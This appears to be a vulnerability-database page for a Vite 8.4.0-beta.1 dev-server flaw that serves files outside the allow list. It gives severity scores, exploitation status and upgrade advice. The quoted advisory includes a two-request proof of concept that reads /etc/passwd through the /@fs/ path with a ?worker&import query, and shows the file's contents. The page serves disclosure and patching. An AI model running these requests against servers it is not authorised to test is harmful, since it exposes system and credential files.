Vite [beta only]: files otuside `server.fs.allow` and not included in `server.fs.deny` can be served by two requests
Affects viteSource GCVE Database
Not known to be exploited · CVSS 6.9 Medium : upgrade to 8.4.0-beta.2 when convenient.
Data as of 1 Dec 2026, 20:00 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 4.0 | 6.9 |
|---|
- Patch
- Available – fixed in 8.4.0-beta.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 30 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 1 Dec 2026.
What to do
Upgrade vite to 8.4.0-beta.2.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmvite | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
> [!IMPORTANT] > **This advisory only affects beta versions.** ### Summary With 8.4.0-beta.1, the contents of files that are outside [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) and not included in [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists is not specified by [server.fs.deny](https://vite.dev/config/server-options#server-fs-deny) - Uses v8.4.0-beta.1 ### Details In 8.4.0-beta.1, a dev server can be made to serve any file outside `server.fs.allow` that is not matched by `server.fs.deny`, with two unauthenticated GET requests and no preconditions: 1. `GET /@fs/<absolute-path>?worker&import`. The worker plugin generates a `WorkerWrapper` module whose body embeds the request-chosen path, and in doing so registers the absolute path in `config.environments.client.safeModulePaths`. 2. `GET /@fs/<absolute-path>` 200 with the file content. The safeModulePaths check short-circuits before the `fs.allow` check. Only `server.fs.deny` matches keep working after registration. `?sharedworker&import` triggers the same flow, and `?wasm` / `?init&import` / `?source&import` queries register `.wasm` files the same way. This is new in 8.4. The poisoning write (`fileToDevUrl` → `safeModulePaths.addId`) was introduced by commit https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (https://github.com/vitejs/vite/pull/23168). ### PoC Minimal reproduction (two requests): ``` # 1) Before registration — correctly denied GET /@fs/etc/passwd -> 403 Restricted ("The request id /etc/passwd is outside...") # 2) Register the path via the worker query GET /@fs/etc/passwd?worker&import -> 200 -> body: export default function WorkerWrapper(options) { return new Worker("/@fs/etc/passwd?worker_file&type=module", ...) } # 3) Read — now allowed GET /@fs/etc/passwd -> 200 (text/javascript) -> body: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:... ```
References
- github.com/vitejs/vite/security/advisories/GHSA-qppr-rxr4-jjq2 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-140098 (opens in a new tab)
- github.com/vitejs/vite/pull/23168 (opens in a new tab)
- github.com/vitejs/vite/pull/24206 (opens in a new tab)
- github.com/vitejs/vite/commit/a78fb8a28db01e83611120012bd5d1189bab68aa (opens in a new tab)
- github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (opens in a new tab)
- github.com/vitejs/vite (opens in a new tab)
- github.com/vitejs/vite/releases/tag/v8.4.0-beta.2 (opens in a new tab)